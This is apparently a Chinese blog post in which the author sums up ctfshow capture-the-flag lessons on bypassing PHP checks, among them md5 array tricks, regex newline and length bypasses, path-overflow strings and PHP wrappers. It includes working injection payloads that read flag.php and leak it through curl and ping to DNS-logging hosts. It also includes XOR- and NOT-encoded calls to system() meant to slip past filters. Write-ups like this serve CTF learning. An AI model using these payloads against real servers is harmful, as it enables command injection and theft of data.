目录
前言(随便乱写的)
闲来无事,来水一篇文章,PHP特性篇做完也有几天了,但是自己掌握的不怎么样,这一部分的东西有点太零散,感觉很多都复现不出来。但是终究是花费大量时间做完这一部分了,来简单写写总结。
说是php特性,其实就是找一下php的bug,怎么利用这些bug来绕过函数,大多数的情况下,可以在本地环境试一下如何绕过那些函数,然后最重要的就是查一下PHP手册。
PHP: PHP 手册 - Manualhttps://www.php.net/manual/zh/index.php下面就是相关的一些总结,自己掌握的东西不多,感觉会漏掉很多东西。
有关一些加密函数(md5,sha1等)
当题目中出现两个变量的值不相等,但是加密后的值相等。这时候可以直接使用数组进行绕过,比如:
a[]=1&b[]=2
有关数字的
1.可以在数字后边加上字母截断,一般使用e就行,e好像也代表着科学计数法
2.可以使用不同进制,八进制,十六进制等
八进制用0开头,16进制用0x开头。有的情况下能8进制绕过但是前面必须多加一个字节,比如: ?num=+010574或者?num=%2b010574
3.使用小数点.0
换行解析漏洞
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
?>
第一个if是多行检测是否含有php,第二个是检测单行是否含有php
直接构造cmd=a%0aphp
相关链接:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展_Firebasky的博客-CSDN博客
目录溢出
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
使用目录溢出能直接绕过检测
有关截断
可以使用以下截断方法:
%00,%0a,%0c(换页键)
!==与===
!==与===不进行类型转换,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转化为数值并且按照数值来进行比较
突破长度限制
正则表达式对长度有限制,所以可以直接将一个变量重复许多遍,然后构造pyload比如
<?php
$a=str_repeat('very',250000);
$b=$a.'36Dctfshow';
echo $b;
?>
使用dns外带数据
?F=`$F`; curl `cat flag.php|grep "flag"`.jxfb9f.dnslog.cn
?F='$F';ping 'cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"'.vs8hyn.dnslog.cn -c 1
?F=`$F`; ping `nl flag.php|awk 'NR==16'| tr -cd "[a-z]"/"[0-9]"`.rqyhm6.fc436074.ipv6.1433.eu.org -c 1
异或与取反
如果没有过滤^,可以使用异或构造命令
如果没有过滤~,可以使用取反构造命令
使用ASCII码值,通过取反或者异或构造,异或是相同为0,不同为1;取反是直接构造相反的0或者1.
比如使用异或构造('system')(tac f*)
(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%9c%d0)
使用取反构造:
(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)
注意:有的情况需要在首尾用- *或者其他符号
其他特殊解法
遍历
FilesystemIterator为遍历文件的类
directoryItrerator遍历目录的类
GLOBALS把全部变量输出
implode(get_defined_vars())
implode(get_defined_vars()),在 PHP 中,implode() 函数用于将数组元素连接成一个字符串,而 get_defined_vars() 函数用于获取当前作用域内的所有变量名及其值,返回一个关联数组。将这两个函数结合使用的话,会将当前作用域内的所有变量名及其值连接成一个字符串。
可以受用echo var_export
_()
_()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
php伪协议
PHP伪协议总结_大方子的博客-CSDN博客0x00php://input//所有测试均allow_url_fopen=On,allow_url_include=On!!!php://input是个可以访问请求的原始数据的只读流。POST请求的情况下,最好使用php://input来代替$HTTP_RAW_POST_DATA,因为它不依赖于特定的php.ini指令。而且,这样的情况下$HTTP_RAW_POST...https://blog.csdn.net/nzjdsds/article/details/82461043?ops_request_misc=&request_id=&biz_id=&utm_medium=distribute.pc_search_result.none-task-blog-2~all~koosearch~default-4-82461043-null-null.142^v82^koosearch_v1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=php%E4%BC%AA%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187PHP伪协议详解_Snakin_ya的博客-CSDN博客PHP伪协议详解php支持的伪协议1 file:// — 访问本地文件系统2 http:// — 访问 HTTP(s) 网址3 ftp:// — 访问 FTP(s) URLs4 php:// — 访问各个输入/输出流(I/O streams)5 zlib:// — 压缩流6 data:// — 数据(RFC 2397)7 glob:// — 查找匹配的文件路径模式8 phar:// — PHP 归档9 ssh2:// — Secure Shell 210 rar:// — RAR11
https://blog.csdn.net/cosmoslin/article/details/120695429?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168104215416800226593272%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168104215416800226593272&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-120695429-null-null.142^v82^koosearch_v1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=php%E4%BC%AA%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187熟练的使用伪协议对做题会有很大的帮助
脚本
脚本还是重要的一点,不过我还是照常不会
最后的总结(也是随便乱写写)
虽然说是做完这一部分了,但是通过翻做题记录来写这一篇总结的过程中,感觉很多东西都陌生了,如果再复现一下,应该很多题还是做不出来。。。只能慢慢积累经验了。